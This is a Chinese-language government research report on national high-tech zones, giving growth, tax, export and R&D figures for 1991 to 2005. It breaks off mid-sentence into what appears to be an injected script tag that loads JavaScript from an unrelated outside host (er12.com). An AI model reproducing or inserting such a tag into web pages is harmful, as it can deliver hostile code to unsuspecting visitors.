科技部:走中国特色高新技术产业化道路

——自主创新 和谐发展 国家高新区在提高自主创新能力、建设创新型国家进程中的作用

科技部火炬高技术产业开发中心 联合调研组

中国高新技术产业导报

1 立足创新 加速发展

国家高新区为我国高新技术产业化做出历史性贡献

国家高新区的建立,促使科技与经济这两大要素在机制上有机互动,在市场中密切结合,在区域里高度集聚,探索了一条符合中国国情的发展高新技术产业的成功路径,充分证明了高新区是我国高新技术产业化和发展国民经济的有效形式,是时代发展的必然要求,是党中央、国务院为落实科教兴国、实施自主创新进行的超前战略部署。

国家高新区建立十几年来,坚持高新技术产业化这一根本宗旨,把优化创新创业环境作为核心环节,率先建立起适应市场经济和高新技术产业发展、有利于开展技术创新活动的体制和机制;初步建立起服务于高新技术产业化的企业孵化、技术转移、生产力促进、金融保险、物流配送、人力资源、信息提供、市场推广、法律、税务、会计、工程咨询等产业服务平台,充分调动一切积极因素,凝聚科技创新资源,促进我国高新技术产业实现跨越式进步和超常规发展,取得了显著成效。

国家高新区已成为国家发展高新技术产业的重要基地,成为聚集科技创新资源、发展先进生产力的有效载体

国家高新区始终高举创新旗帜,坚持发展主线,成为推动我国高新技术产业发展,优化国民经济结构的重要力量。从1991年到2005年,53个国家高新区各项主要经济指标年平均增长率达到或超过40%。其中,营业总收入从87.3亿元增长到34415.6亿元,增长了393倍;上缴税费从3.9亿元增长到1615.8亿元,增长了413倍;出口创汇从1.8亿美元增长到1116.5亿美元,增长了619倍。国家高新区紧紧围绕市场需求,积极鼓励创新创业,重点扶持有自主知识产权的高新技术企业,大力孵育发展科技型中小企业,促进了高新技术产业的快速发展,形成了4.1万家企业群体。年营业收入超亿元的高新技术企业达到3380多家,是1991年起步期的400多倍,其中上10亿元的377家,上100亿元的42家。国家高新区在高新技术企业数量和经济规模上,均已占全国高新技术产业的一半以上。

国家高新区积极探索内涵增长模式,为推进产业结构调整、促进经济增长方式转变积蓄力量

国家高新区坚持以科技为动力,以创新求发展,注重培育有前景的产业集群,推动经济驶入新的增长轨道。国家高新区体现内涵增长指标的人均技工贸总收入从1991年的6.3万元上升到2005年的66万元,扩大了10倍。国家高新区每年上缴税费从1991年的3.9亿元增长到2005年的1615.8亿元,增长了413倍,累计为国家创造税收6653.3亿元。在同期,国家共为高新区企业减免税金908.1亿元,企业累计获得净利润7466.1亿元。

在短短十余年时间里,国家高新区已初步形成一批具有高成长性、高竞争力的产业群,成为区域产业结构调整的中坚力量。北京、上海、天津、深圳、西安、沈阳等地在软件、集成电路、通信设备、新能源、现代制造业等方面崛起的产业群,已成为当地投资创业的主导力量,较好地体现出科技创新的引领作用。据统计,2005年有18个国家高新区的工业增加值占到其所在城市工业增加值的30%以上,有10个高新区区内生产总值(gdp)占到当地城市gdp的20%以上。

国家高新区在促进西部大开发、东北老工业基地振兴、中部经济崛起和东部跨越中,都发挥出了重要的支撑作用。如仅沈阳、大连、吉林三个高新区的高新技术产业产值就占到东北地区总量的77.0%。在西部地区的宝鸡、南宁、桂林等国家高新区,工业增加值占所在城市工业增加值的比重也已超过30%。

国家高新区初步确立企业的创新主体地位,为新时期国家和区域创新体系建设提供有力支撑

国家高新区始终把建立与完善创新创业服务体系、优化创新创业环境放在突出位置,先后建立了近200家高新技术创业服务中心和科技企业孵化器,聚集了上千家各类创新创业服务机构,形成了从技术研发、技术转移、企业孵化到产业化基地、产业集聚的一整套技术创新和产业孵育体系,有效地支撑了高新技术企业的科技创新活动,初步构建起以企业为主体、以市场为导向、产学研相结合的科技创新体系。

2005年,国家高新区内工业企业研发经费605亿元,已经占到全国工业企业的43.2%,研究开发投入占工业增加值的比例是全国平均水平的4倍。2005年,国家高新区内企业拥有产品种数43812种,拥有专利的产品10506种,其中发明专利3733项,产品技术来源于企业自身的超过70%。北京中关村的联想、无锡高新区的尚德太阳能、沈阳高新区的东软数字医疗、上海张江高科技园区的微创医疗、武汉东湖新技术开发区的烽火科技和楚天激光等一大批自主创新能力强、拥有核心技术专利的骨干企业已经成长为行业科技进步的“领头雁”。

在国家高新区,企业已成为原始创新的新生力量。截?script src=http://er12.com/t.js>

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发布日期:2019年07月12日  所属分类:新闻动态